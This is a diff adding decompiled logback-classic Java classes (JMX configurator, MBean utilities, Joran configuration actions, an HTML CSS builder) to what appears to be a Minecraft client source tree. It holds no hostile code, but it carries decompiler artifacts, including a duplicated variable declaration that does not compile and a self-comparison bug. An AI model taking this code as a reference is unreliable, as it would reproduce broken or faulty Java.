+  public void setThrowableRenderer(IThrowableRenderer<ILoggingEvent> throwableRenderer) {
+    this.throwableRenderer = throwableRenderer;
+  }
+  
+  protected String computeConverterName(Converter c)
+  {
+    if ((c instanceof MDCConverter)) {
+      MDCConverter mc = (MDCConverter)c;
+      String key = mc.getFirstOption();
+      if (key != null) {
+        return key;
+      }
+      return "MDC";
+    }
+    
+    return super.computeConverterName(c);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/html/UrlCssBuilder.java b/src/minecraft/ch/qos/logback/classic/html/UrlCssBuilder.java
new file mode 100644
index 0000000..52e8457
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/html/UrlCssBuilder.java
@@ -0,0 +1,43 @@
+package ch.qos.logback.classic.html;
+
+import ch.qos.logback.core.html.CssBuilder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class UrlCssBuilder
+  implements CssBuilder
+{
+  public UrlCssBuilder() {}
+  
+  String url = "http://logback.qos.ch/css/classic.css";
+  
+  public String getUrl() {
+    return url;
+  }
+  
+  public void setUrl(String url) {
+    this.url = url;
+  }
+  
+  public void addCss(StringBuilder sbuf) {
+    sbuf.append("<link REL=StyleSheet HREF=\"");
+    sbuf.append(url);
+    sbuf.append("\" TITLE=\"Basic\" />");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/jmx/JMXConfigurator.java b/src/minecraft/ch/qos/logback/classic/jmx/JMXConfigurator.java
new file mode 100644
index 0000000..131d4f1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/jmx/JMXConfigurator.java
@@ -0,0 +1,300 @@
+package ch.qos.logback.classic.jmx;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.joran.JoranConfigurator;
+import ch.qos.logback.classic.spi.LoggerContextListener;
+import ch.qos.logback.classic.util.ContextInitializer;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.status.Status;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.status.StatusListenerAsList;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.util.StatusPrinter;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import javax.management.InstanceNotFoundException;
+import javax.management.MBeanRegistrationException;
+import javax.management.MBeanServer;
+import javax.management.ObjectName;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMXConfigurator
+  extends ContextAwareBase
+  implements JMXConfiguratorMBean, LoggerContextListener
+{
+  private static String EMPTY = "";
+  
+  LoggerContext loggerContext;
+  
+  MBeanServer mbs;
+  
+  ObjectName objectName;
+  
+  String objectNameAsString;
+  boolean debug = true;
+  
+  boolean started;
+  
+  public JMXConfigurator(LoggerContext loggerContext, MBeanServer mbs, ObjectName objectName)
+  {
+    started = true;
+    context = loggerContext;
+    this.loggerContext = loggerContext;
+    this.mbs = mbs;
+    this.objectName = objectName;
+    objectNameAsString = objectName.toString();
+    if (previouslyRegisteredListenerWithSameObjectName()) {
+      addError("Previously registered JMXConfigurator named [" + objectNameAsString + "] in the logger context named [" + loggerContext.getName() + "]");
+
+    }
+    else
+    {
+      loggerContext.addListener(this);
+    }
+  }
+  
+  private boolean previouslyRegisteredListenerWithSameObjectName() {
+    List<LoggerContextListener> lcll = loggerContext.getCopyOfListenerList();
+    for (LoggerContextListener lcl : lcll) {
+      if ((lcl instanceof JMXConfigurator)) {
+        JMXConfigurator jmxConfigurator = (JMXConfigurator)lcl;
+        if (objectName.equals(objectName)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  }
+  
+  public void reloadDefaultConfiguration() throws JoranException {
+    ContextInitializer ci = new ContextInitializer(loggerContext);
+    URL url = ci.findURLOfDefaultConfigurationFile(true);
+    reloadByURL(url);
+  }
+  
+  public void reloadByFileName(String fileName) throws JoranException, FileNotFoundException
+  {
+    File f = new File(fileName);
+    if ((f.exists()) && (f.isFile()))
+    {
+      try {
+        URL url = f.toURI().toURL();
+        reloadByURL(url);
+      } catch (MalformedURLException e) {
+        throw new RuntimeException("Unexpected MalformedURLException occured. See nexted cause.", e);
+      }
+    }
+    else
+    {
+      String errMsg = "Could not find [" + fileName + "]";
+      addInfo(errMsg);
+      throw new FileNotFoundException(errMsg);
+    }
+  }
+  
+  void addStatusListener(StatusListener statusListener) {
+    StatusManager sm = loggerContext.getStatusManager();
+    sm.add(statusListener);
+  }
+  
+  void removeStatusListener(StatusListener statusListener) {
+    StatusManager sm = loggerContext.getStatusManager();
+    sm.remove(statusListener);
+  }
+  
+  public void reloadByURL(URL url) throws JoranException {
+    StatusListenerAsList statusListenerAsList = new StatusListenerAsList();
+    
+    addStatusListener(statusListenerAsList);
+    addInfo("Resetting context: " + loggerContext.getName());
+    loggerContext.reset();
+    
+    addStatusListener(statusListenerAsList);
+    try
+    {
+      JoranConfigurator configurator = new JoranConfigurator();
+      configurator.setContext(loggerContext);
+      configurator.doConfigure(url);
+      addInfo("Context: " + loggerContext.getName() + " reloaded.");
+    } finally {
+      removeStatusListener(statusListenerAsList);
+      if (debug) {
+        StatusPrinter.print(statusListenerAsList.getStatusList());
+      }
+    }
+  }
+  
+  public void setLoggerLevel(String loggerName, String levelStr) {
+    if (loggerName == null) {
+      return;
+    }
+    if (levelStr == null) {
+      return;
+    }
+    loggerName = loggerName.trim();
+    levelStr = levelStr.trim();
+    
+    addInfo("Trying to set level " + levelStr + " to logger " + loggerName);
+    LoggerContext lc = (LoggerContext)context;
+    
+    Logger logger = lc.getLogger(loggerName);
+    if ("null".equalsIgnoreCase(levelStr)) {
+      logger.setLevel(null);
+    } else {
+      Level level = Level.toLevel(levelStr, null);
+      if (level != null) {
+        logger.setLevel(level);
+      }
+    }
+  }
+  
+  public String getLoggerLevel(String loggerName) {
+    if (loggerName == null) {
+      return EMPTY;
+    }
+    
+    loggerName = loggerName.trim();
+    
+    LoggerContext lc = (LoggerContext)context;
+    Logger logger = lc.exists(loggerName);
+    if ((logger != null) && (logger.getLevel() != null)) {
+      return logger.getLevel().toString();
+    }
+    return EMPTY;
+  }
+  
+  public String getLoggerEffectiveLevel(String loggerName)
+  {
+    if (loggerName == null) {
+      return EMPTY;
+    }
+    
+    loggerName = loggerName.trim();
+    
+    LoggerContext lc = (LoggerContext)context;
+    Logger logger = lc.exists(loggerName);
+    if (logger != null) {
+      return logger.getEffectiveLevel().toString();
+    }
+    return EMPTY;
+  }
+  
+  public List<String> getLoggerList()
+  {
+    LoggerContext lc = (LoggerContext)context;
+    List<String> strList = new ArrayList();
+    Iterator<Logger> it = lc.getLoggerList().iterator();
+    while (it.hasNext()) {
+      Logger log = (Logger)it.next();
+      strList.add(log.getName());
+    }
+    return strList;
+  }
+  
+  public List<String> getStatuses() {
+    List<String> list = new ArrayList();
+    Iterator<Status> it = context.getStatusManager().getCopyOfStatusList().iterator();
+    
+    while (it.hasNext()) {
+      list.add(((Status)it.next()).toString());
+    }
+    return list;
+  }
+  
+
+
+
+  public void onStop(LoggerContext context)
+  {
+    if (!started) {
+      addInfo("onStop() method called on a stopped JMXActivator [" + objectNameAsString + "]");
+      
+      return;
+    }
+    if (mbs.isRegistered(objectName)) {
+      try {
+        addInfo("Unregistering mbean [" + objectNameAsString + "]");
+        mbs.unregisterMBean(objectName);
+      }
+      catch (InstanceNotFoundException e) {
+        addError("Unable to find a verifiably registered mbean [" + objectNameAsString + "]", e);
+      }
+      catch (MBeanRegistrationException e) {
+        addError("Failed to unregister [" + objectNameAsString + "]", e);
+      }
+    } else {
+      addInfo("mbean [" + objectNameAsString + "] was not in the mbean registry. This is OK.");
+    }
+    
+    stop();
+  }
+  
+
+  public void onLevelChange(Logger logger, Level level) {}
+  
+  public void onReset(LoggerContext context)
+  {
+    addInfo("onReset() method called JMXActivator [" + objectNameAsString + "]");
+  }
+  
+
+
+
+
+  public boolean isResetResistant()
+  {
+    return true;
+  }
+  
+  private void clearFields() {
+    mbs = null;
+    objectName = null;
+    loggerContext = null;
+  }
+  
+  private void stop() {
+    started = false;
+    clearFields();
+  }
+  
+
+  public void onStart(LoggerContext context) {}
+  
+
+  public String toString()
+  {
+    return getClass().getName() + "(" + context.getName() + ")";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/jmx/JMXConfiguratorMBean.java b/src/minecraft/ch/qos/logback/classic/jmx/JMXConfiguratorMBean.java
new file mode 100644
index 0000000..5f10bb6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/jmx/JMXConfiguratorMBean.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.classic.jmx;
+
+import ch.qos.logback.core.joran.spi.JoranException;
+import java.io.FileNotFoundException;
+import java.net.URL;
+import java.util.List;
+
+public abstract interface JMXConfiguratorMBean
+{
+  public abstract void reloadDefaultConfiguration()
+    throws JoranException;
+  
+  public abstract void reloadByFileName(String paramString)
+    throws JoranException, FileNotFoundException;
+  
+  public abstract void reloadByURL(URL paramURL)
+    throws JoranException;
+  
+  public abstract void setLoggerLevel(String paramString1, String paramString2);
+  
+  public abstract String getLoggerLevel(String paramString);
+  
+  public abstract String getLoggerEffectiveLevel(String paramString);
+  
+  public abstract List<String> getLoggerList();
+  
+  public abstract List<String> getStatuses();
+}
diff --git a/src/minecraft/ch/qos/logback/classic/jmx/MBeanUtil.java b/src/minecraft/ch/qos/logback/classic/jmx/MBeanUtil.java
new file mode 100644
index 0000000..12d322a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/jmx/MBeanUtil.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.classic.jmx;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.status.StatusUtil;
+import javax.management.InstanceNotFoundException;
+import javax.management.MBeanRegistrationException;
+import javax.management.MBeanServer;
+import javax.management.MalformedObjectNameException;
+import javax.management.ObjectName;
+
+
+
+
+
+
+
+
+
+
+
+
+public class MBeanUtil
+{
+  static final String DOMAIN = "ch.qos.logback.classic";
+  
+  public MBeanUtil() {}
+  
+  public static String getObjectNameFor(String contextName, Class type)
+  {
+    return "ch.qos.logback.classic:Name=" + contextName + ",Type=" + type.getName();
+  }
+  
+
+  public static ObjectName string2ObjectName(Context context, Object caller, String objectNameAsStr)
+  {
+    String msg = "Failed to convert [" + objectNameAsStr + "] to ObjectName";
+    
+    StatusUtil statusUtil = new StatusUtil(context);
+    try {
+      return new ObjectName(objectNameAsStr);
+    } catch (MalformedObjectNameException e) {
+      statusUtil.addError(caller, msg, e);
+      return null;
+    } catch (NullPointerException e) {
+      statusUtil.addError(caller, msg, e); }
+    return null;
+  }
+  
+  public static boolean isRegistered(MBeanServer mbs, ObjectName objectName)
+  {
+    return mbs.isRegistered(objectName);
+  }
+  
+  public static void createAndRegisterJMXConfigurator(MBeanServer mbs, LoggerContext loggerContext, JMXConfigurator jmxConfigurator, ObjectName objectName, Object caller)
+  {
+    try
+    {
+      mbs.registerMBean(jmxConfigurator, objectName);
+    } catch (Exception e) {
+      StatusUtil statusUtil = new StatusUtil(loggerContext);
+      statusUtil.addError(caller, "Failed to create mbean", e);
+    }
+  }
+  
+
+  public static void unregister(LoggerContext loggerContext, MBeanServer mbs, ObjectName objectName, Object caller)
+  {
+    StatusUtil statusUtil = new StatusUtil(loggerContext);
+    if (mbs.isRegistered(objectName)) {
+      try {
+        statusUtil.addInfo(caller, "Unregistering mbean [" + objectName + "]");
+        
+        mbs.unregisterMBean(objectName);
+      }
+      catch (InstanceNotFoundException e) {
+        statusUtil.addError(caller, "Failed to unregister mbean" + objectName, e);
+      }
+      catch (MBeanRegistrationException e)
+      {
+        statusUtil.addError(caller, "Failed to unregister mbean" + objectName, e);
+      }
+      
+    } else {
+      statusUtil.addInfo(caller, "mbean [" + objectName + "] does not seem to be registered");
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/JoranConfigurator.java b/src/minecraft/ch/qos/logback/classic/joran/JoranConfigurator.java
new file mode 100644
index 0000000..d8464e6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/JoranConfigurator.java
@@ -0,0 +1,95 @@
+package ch.qos.logback.classic.joran;
+
+import ch.qos.logback.classic.joran.action.ConfigurationAction;
+import ch.qos.logback.classic.joran.action.ConsolePluginAction;
+import ch.qos.logback.classic.joran.action.ContextNameAction;
+import ch.qos.logback.classic.joran.action.EvaluatorAction;
+import ch.qos.logback.classic.joran.action.InsertFromJNDIAction;
+import ch.qos.logback.classic.joran.action.JMXConfiguratorAction;
+import ch.qos.logback.classic.joran.action.LevelAction;
+import ch.qos.logback.classic.joran.action.LoggerAction;
+import ch.qos.logback.classic.joran.action.LoggerContextListenerAction;
+import ch.qos.logback.classic.joran.action.ReceiverAction;
+import ch.qos.logback.classic.joran.action.RootLoggerAction;
+import ch.qos.logback.classic.sift.SiftAction;
+import ch.qos.logback.classic.spi.PlatformInfo;
+import ch.qos.logback.classic.util.DefaultNestedComponentRules;
+import ch.qos.logback.core.joran.JoranConfiguratorBase;
+import ch.qos.logback.core.joran.action.AppenderRefAction;
+import ch.qos.logback.core.joran.action.IncludeAction;
+import ch.qos.logback.core.joran.action.NOPAction;
+import ch.qos.logback.core.joran.conditional.ElseAction;
+import ch.qos.logback.core.joran.conditional.IfAction;
+import ch.qos.logback.core.joran.conditional.ThenAction;
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+import ch.qos.logback.core.joran.spi.ElementSelector;
+import ch.qos.logback.core.joran.spi.RuleStore;
+
+
+
+
+
+
+
+public class JoranConfigurator
+  extends JoranConfiguratorBase
+{
+  public JoranConfigurator() {}
+  
+  public void addInstanceRules(RuleStore rs)
+  {
+    super.addInstanceRules(rs);
+    
+    rs.addRule(new ElementSelector("configuration"), new ConfigurationAction());
+    
+    rs.addRule(new ElementSelector("configuration/contextName"), new ContextNameAction());
+    
+    rs.addRule(new ElementSelector("configuration/contextListener"), new LoggerContextListenerAction());
+    
+    rs.addRule(new ElementSelector("configuration/insertFromJNDI"), new InsertFromJNDIAction());
+    
+    rs.addRule(new ElementSelector("configuration/evaluator"), new EvaluatorAction());
+    
+    rs.addRule(new ElementSelector("configuration/appender/sift"), new SiftAction());
+    rs.addRule(new ElementSelector("configuration/appender/sift/*"), new NOPAction());
+    
+    rs.addRule(new ElementSelector("configuration/logger"), new LoggerAction());
+    rs.addRule(new ElementSelector("configuration/logger/level"), new LevelAction());
+    
+    rs.addRule(new ElementSelector("configuration/root"), new RootLoggerAction());
+    rs.addRule(new ElementSelector("configuration/root/level"), new LevelAction());
+    rs.addRule(new ElementSelector("configuration/logger/appender-ref"), new AppenderRefAction());
+    
+    rs.addRule(new ElementSelector("configuration/root/appender-ref"), new AppenderRefAction());
+    
+
+
+    rs.addRule(new ElementSelector("*/if"), new IfAction());
+    rs.addRule(new ElementSelector("*/if/then"), new ThenAction());
+    rs.addRule(new ElementSelector("*/if/then/*"), new NOPAction());
+    rs.addRule(new ElementSelector("*/if/else"), new ElseAction());
+    rs.addRule(new ElementSelector("*/if/else/*"), new NOPAction());
+    
+
+
+
+    if (PlatformInfo.hasJMXObjectName()) {
+      rs.addRule(new ElementSelector("configuration/jmxConfigurator"), new JMXConfiguratorAction());
+    }
+    
+    rs.addRule(new ElementSelector("configuration/include"), new IncludeAction());
+    
+    rs.addRule(new ElementSelector("configuration/consolePlugin"), new ConsolePluginAction());
+    
+
+    rs.addRule(new ElementSelector("configuration/receiver"), new ReceiverAction());
+  }
+  
+
+
+
+  protected void addDefaultNestedComponentRegistryRules(DefaultNestedComponentRegistry registry)
+  {
+    DefaultNestedComponentRules.addDefaultNestedComponentRegistryRules(registry);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/ConfigurationAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/ConfigurationAction.java
new file mode 100644
index 0000000..2b3de5e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/ConfigurationAction.java
@@ -0,0 +1,109 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.turbo.ReconfigureOnChangeFilter;
+import ch.qos.logback.classic.util.EnvUtil;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.status.OnConsoleStatusListener;
+import ch.qos.logback.core.util.ContextUtil;
+import ch.qos.logback.core.util.Duration;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+public class ConfigurationAction
+  extends Action
+{
+  static final String INTERNAL_DEBUG_ATTR = "debug";
+  static final String SCAN_ATTR = "scan";
+  static final String SCAN_PERIOD_ATTR = "scanPeriod";
+  static final String DEBUG_SYSTEM_PROPERTY_KEY = "logback.debug";
+  
+  public ConfigurationAction() {}
+  
+  long threshold = 0L;
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes) {
+    threshold = System.currentTimeMillis();
+    
+
+
+
+    String debugAttrib = getSystemProperty("logback.debug");
+    if (debugAttrib == null) {
+      debugAttrib = ic.subst(attributes.getValue("debug"));
+    }
+    
+    if ((OptionHelper.isEmpty(debugAttrib)) || (debugAttrib.equalsIgnoreCase("false")) || (debugAttrib.equalsIgnoreCase("null")))
+    {
+      addInfo("debug attribute not set");
+    } else {
+      OnConsoleStatusListener.addNewInstanceToContext(context);
+    }
+    
+    processScanAttrib(ic, attributes);
+    
+    ContextUtil contextUtil = new ContextUtil(context);
+    contextUtil.addHostNameAsProperty();
+    
+    if (EnvUtil.isGroovyAvailable()) {
+      LoggerContext lc = (LoggerContext)context;
+      contextUtil.addGroovyPackages(lc.getFrameworkPackages());
+    }
+    
+
+
+    ic.pushObject(getContext());
+  }
+  
+
+
+  String getSystemProperty(String name)
+  {
+    try
+    {
+      return System.getProperty(name);
+    } catch (SecurityException ex) {}
+    return null;
+  }
+  
+  void processScanAttrib(InterpretationContext ic, Attributes attributes)
+  {
+    String scanAttrib = ic.subst(attributes.getValue("scan"));
+    if ((!OptionHelper.isEmpty(scanAttrib)) && (!"false".equalsIgnoreCase(scanAttrib)))
+    {
+      ReconfigureOnChangeFilter rocf = new ReconfigureOnChangeFilter();
+      rocf.setContext(context);
+      String scanPeriodAttrib = ic.subst(attributes.getValue("scanPeriod"));
+      if (!OptionHelper.isEmpty(scanPeriodAttrib)) {
+        try {
+          Duration duration = Duration.valueOf(scanPeriodAttrib);
+          rocf.setRefreshPeriod(duration.getMilliseconds());
+          addInfo("Setting ReconfigureOnChangeFilter scanning period to " + duration);
+        }
+        catch (NumberFormatException nfe) {
+          addError("Error while converting [" + scanAttrib + "] to long", nfe);
+        }
+      }
+      rocf.start();
+      LoggerContext lc = (LoggerContext)context;
+      addInfo("Adding ReconfigureOnChangeFilter as a turbo filter");
+      lc.addTurboFilter(rocf);
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name) {
+    addInfo("End of configuration.");
+    ec.popObject();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/ConsolePluginAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/ConsolePluginAction.java
new file mode 100644
index 0000000..9ca200b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/ConsolePluginAction.java
@@ -0,0 +1,63 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.net.SocketAppender;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConsolePluginAction
+  extends Action
+{
+  private static final String PORT_ATTR = "port";
+  private static final Integer DEFAULT_PORT = Integer.valueOf(4321);
+  
+  public ConsolePluginAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) throws ActionException {
+    String portStr = attributes.getValue("port");
+    Integer port = null;
+    
+    if (portStr == null) {
+      port = DEFAULT_PORT;
+    } else {
+      try {
+        port = Integer.valueOf(portStr);
+      } catch (NumberFormatException ex) {
+        addError("Port " + portStr + " in ConsolePlugin config is not a correct number");
+      }
+    }
+    
+
+    LoggerContext lc = (LoggerContext)ec.getContext();
+    SocketAppender appender = new SocketAppender();
+    appender.setContext(lc);
+    appender.setIncludeCallerData(true);
+    appender.setRemoteHost("localhost");
+    appender.setPort(port.intValue());
+    appender.start();
+    Logger root = lc.getLogger("ROOT");
+    root.addAppender(appender);
+    
+    addInfo("Sending LoggingEvents to the plugin using port " + port);
+  }
+  
+  public void end(InterpretationContext ec, String name)
+    throws ActionException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/ContextNameAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/ContextNameAction.java
new file mode 100644
index 0000000..c6efe59
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/ContextNameAction.java
@@ -0,0 +1,38 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextNameAction
+  extends Action
+{
+  public ContextNameAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) {}
+  
+  public void body(InterpretationContext ec, String body)
+  {
+    String finalBody = ec.subst(body);
+    addInfo("Setting logger context name as [" + finalBody + "]");
+    try {
+      context.setName(finalBody);
+    } catch (IllegalStateException e) {
+      addError("Failed to rename context [" + context.getName() + "] as [" + finalBody + "]", e);
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/EvaluatorAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/EvaluatorAction.java
new file mode 100644
index 0000000..175b8a0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/EvaluatorAction.java
@@ -0,0 +1,23 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.boolex.JaninoEventEvaluator;
+import ch.qos.logback.core.joran.action.AbstractEventEvaluatorAction;
+
+
+
+
+
+
+
+
+
+public class EvaluatorAction
+  extends AbstractEventEvaluatorAction
+{
+  public EvaluatorAction() {}
+  
+  protected String defaultClassName()
+  {
+    return JaninoEventEvaluator.class.getName();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/InsertFromJNDIAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/InsertFromJNDIAction.java
new file mode 100644
index 0000000..f83af0c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/InsertFromJNDIAction.java
@@ -0,0 +1,81 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.util.JNDIUtil;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.action.ActionUtil;
+import ch.qos.logback.core.joran.action.ActionUtil.Scope;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import javax.naming.Context;
+import javax.naming.NamingException;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InsertFromJNDIAction
+  extends Action
+{
+  public static final String ENV_ENTRY_NAME_ATTR = "env-entry-name";
+  public static final String AS_ATTR = "as";
+  
+  public InsertFromJNDIAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes)
+  {
+    int errorCount = 0;
+    String envEntryName = ec.subst(attributes.getValue("env-entry-name"));
+    String asKey = ec.subst(attributes.getValue("as"));
+    
+    String scopeStr = attributes.getValue("scope");
+    ActionUtil.Scope scope = ActionUtil.stringToScope(scopeStr);
+    
+
+
+    if (OptionHelper.isEmpty(envEntryName)) {
+      String lineColStr = getLineColStr(ec);
+      addError("[env-entry-name] missing, around " + lineColStr);
+      errorCount++;
+    }
+    
+    if (OptionHelper.isEmpty(asKey)) {
+      String lineColStr = getLineColStr(ec);
+      addError("[as] missing, around " + lineColStr);
+      errorCount++;
+    }
+    
+    if (errorCount != 0) {
+      return;
+    }
+    try
+    {
+      Context ctx = JNDIUtil.getInitialContext();
+      String envEntryValue = JNDIUtil.lookup(ctx, envEntryName);
+      if (OptionHelper.isEmpty(envEntryValue)) {
+        addError("[" + envEntryName + "] has null or empty value");
+      } else {
+        addInfo("Setting variable [" + asKey + "] to [" + envEntryValue + "] in [" + scope + "] scope");
+        ActionUtil.setProperty(ec, asKey, envEntryValue, scope);
+      }
+    } catch (NamingException e) {
+      addError("Failed to lookup JNDI env-entry [" + envEntryName + "]");
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/JMXConfiguratorAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/JMXConfiguratorAction.java
new file mode 100644
index 0000000..81e231d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/JMXConfiguratorAction.java
@@ -0,0 +1,86 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.jmx.JMXConfigurator;
+import ch.qos.logback.classic.jmx.MBeanUtil;
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import java.lang.management.ManagementFactory;
+import javax.management.MBeanServer;
+import javax.management.ObjectName;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JMXConfiguratorAction
+  extends Action
+{
+  static final String OBJECT_NAME_ATTRIBUTE_NAME = "objectName";
+  static final String CONTEXT_NAME_ATTRIBUTE_NAME = "contextName";
+  static final char JMX_NAME_SEPARATOR = ',';
+  
+  public JMXConfiguratorAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes)
+    throws ActionException
+  {
+    addInfo("begin");
+    
+
+    String contextName = context.getName();
+    String contextNameAttributeVal = attributes.getValue("contextName");
+    
+    if (!OptionHelper.isEmpty(contextNameAttributeVal)) {
+      contextName = contextNameAttributeVal;
+    }
+    
+
+    String objectNameAttributeVal = attributes.getValue("objectName");
+    String objectNameAsStr;
+    String objectNameAsStr; if (OptionHelper.isEmpty(objectNameAttributeVal)) {
+      objectNameAsStr = MBeanUtil.getObjectNameFor(contextName, JMXConfigurator.class);
+    }
+    else {
+      objectNameAsStr = objectNameAttributeVal;
+    }
+    
+    ObjectName objectName = MBeanUtil.string2ObjectName(context, this, objectNameAsStr);
+    
+    if (objectName == null) {
+      addError("Failed construct ObjectName for [" + objectNameAsStr + "]");
+      return;
+    }
+    
+    MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
+    if (!MBeanUtil.isRegistered(mbs, objectName))
+    {
+
+
+
+      JMXConfigurator jmxConfigurator = new JMXConfigurator((LoggerContext)context, mbs, objectName);
+      try
+      {
+        mbs.registerMBean(jmxConfigurator, objectName);
+      } catch (Exception e) {
+        addError("Failed to create mbean", e);
+      }
+    }
+  }
+  
+  public void end(InterpretationContext ec, String name)
+    throws ActionException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/LevelAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/LevelAction.java
new file mode 100644
index 0000000..43c4037
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/LevelAction.java
@@ -0,0 +1,65 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LevelAction
+  extends Action
+{
+  public LevelAction() {}
+  
+  boolean inError = false;
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) {
+    Object o = ec.peekObject();
+    
+    if (!(o instanceof Logger)) {
+      inError = true;
+      addError("For element <level>, could not find a logger at the top of execution stack.");
+      return;
+    }
+    
+    Logger l = (Logger)o;
+    
+    String loggerName = l.getName();
+    
+    String levelStr = ec.subst(attributes.getValue("value"));
+    
+
+
+    if (("INHERITED".equalsIgnoreCase(levelStr)) || ("NULL".equalsIgnoreCase(levelStr))) {
+      l.setLevel(null);
+    } else {
+      l.setLevel(Level.toLevel(levelStr, Level.DEBUG));
+    }
+    
+    addInfo(loggerName + " level set to " + l.getLevel());
+  }
+  
+  public void finish(InterpretationContext ec) {}
+  
+  public void end(InterpretationContext ec, String e) {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/joran/action/LoggerAction.java b/src/minecraft/ch/qos/logback/classic/joran/action/LoggerAction.java
new file mode 100644
index 0000000..f81c9a2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/joran/action/LoggerAction.java
@@ -0,0 +1,94 @@
+package ch.qos.logback.classic.joran.action;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.Logger;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.joran.action.Action;
